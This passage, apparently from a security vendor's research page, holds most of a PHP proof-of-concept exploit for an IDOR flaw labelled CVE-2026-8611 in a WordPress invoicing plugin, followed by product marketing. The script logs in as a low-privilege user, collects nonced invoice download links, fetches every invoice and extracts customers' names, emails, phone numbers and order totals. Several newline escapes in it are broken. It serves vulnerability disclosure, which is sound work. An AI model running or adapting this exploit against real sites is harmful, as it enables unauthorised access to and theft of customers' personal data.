 * can enumerate and download arbitrary invoices by exploiting the missing authorization
 * check on the invoice_id parameter.
 *
 * An attacker first logs in (simulated here with pre-acquired cookies), then visits
 * the invoices page to obtain valid nonces for known invoice IDs, or generates nonces
 * if the nonce key is known. The PoC then requests each invoice download URL and
 * extracts sensitive PII from the response.
 */

echo "[+] Atomic Edge Research - CVE-2026-8611 PoCn";
echo "[+] Klamra Paycal for Aspaclaria IDOR Invoice Downloadnn";

// CONFIGURATION
$target_url = 'http://example.com';  // CHANGE THIS to the target WordPress URL
$username = 'attacker_subscriber';     // CHANGE THIS to a subscriber-level user
$password = 'attacker_password';       // CHANGE THIS to the user's password

// Step 1: Login and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-8611-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200 && $http_code !== 302) {
    die("[-] Login failed. HTTP code: " . $http_code . "n");
}
echo "[+] Logged in as: " . $username . "n";

// Step 2: Fetch the invoices page to get nonced download URLs and discover invoice IDs
$invoices_page_url = $target_url . '/wp-admin/admin.php?page=paycal-invoices';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $invoices_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-8611-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$invoices_html = curl_exec($ch);
curl_close($ch);

// Extract download URLs from the page (they contain nonces)
preg_match_all('/href="([^"]*admin-post.php[^"]*action=paycal_invoice_download[^"]*)"/', $invoices_html, $matches);
$download_urls = $matches[1];

if (empty($download_urls)) {
    echo "[!] No download URLs found on the invoices page.n";
    echo "[!] The invoices page may be empty or the plugin is patched.n";
    echo "[!] Trying direct enumeration with generated nonces...n";
    
    // If we can't get nonces from the page, we need to generate them
    // WordPress nonces are generated using: wp_create_nonce('paycal_invoice_download_' . $invoice_id)
    // This requires knowing the WordPress nonce key, which is derived from site keys.
    // For demonstration, we'll try common sequential IDs with a placeholder nonce.
    // In real exploitation, an attacker would extract nonces from the page or use a known nonce key.
    echo "[!] This PoC requires a valid nonce. In practice, visit the invoices page first to obtain nonces.n";
    exit;
}

echo "[+] Found " . count($download_urls) . " download URLs on the page.nn";

// Step 3: Download each invoice and extract PII
foreach ($download_urls as $url) {
    echo "[+] Requesting: " . $url . "n";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-8611-cookies.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $invoice_html = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code === 200 && !empty($invoice_html)) {
        echo "[+] Invoice downloaded successfully (HTTP " . $http_code . ")n";
        
        // Extract PII from the invoice HTML
        // Look for common fields in invoice HTML
        $pii_found = array();
        
        // Extract name
        if (preg_match('/<div[^>]*class="[^"]*customer-name[^"]*"[^>]*>([^<]+)</div>/i', $invoice_html, $name_match)) {
            $pii_found['customer_name'] = trim($name_match[1]);
        } elseif (preg_match('/Fulls*Name[^:]*:s*([^<]+)/i', $invoice_html, $name_match)) {
            $pii_found['customer_name'] = trim($name_match[1]);
        }
        
        // Extract email
        if (preg_match('/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,}/', $invoice_html, $email_match)) {
            $pii_found['email'] = $email_match[0];
        }
        
        // Extract phone
        if (preg_match('/(?:Phone|Tel)[^:]*:s*([ds-+()]+)</i', $invoice_html, $phone_match)) {
            $pii_found['phone'] = trim($phone_match[1]);
        }
        
        // Extract order total
        if (preg_match('/(?:Total|Amount)[^:]*:s*([^<]+(?:USD|EUR|GBP|ILS|$|€|£)[^<]*)</i', $invoice_html, $total_match)) {
            $pii_found['total'] = trim($total_match[1]);
        } elseif (preg_match('/([0-9,.]+s*(?:USD|EUR|GBP|ILS|$|€|£))/i', $invoice_html, $total_match)) {
            $pii_found['total'] = trim($total_match[0]);
        }
        
        if (!empty($pii_found)) {
            echo "[!] EXPOSED PII:n";
            foreach ($pii_found as $key => $value) {
                echo "    - " . $key . ": " . $value . "n";
            }
            echo "n";
        } else {
            echo "[*] Invoice downloaded, but no structured PII fields could be automatically extracted.n";
            echo "    Raw HTML snippet: " . substr($invoice_html, 0, 500) . "nn";
        }
    } else {
        echo "[-] Failed to download invoice. HTTP code: " . $http_code . "n";
        echo "    Response: " . substr($invoice_html, 0, 200) . "nn";
    }
}

// Clean up
echo "[+] PoC complete.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School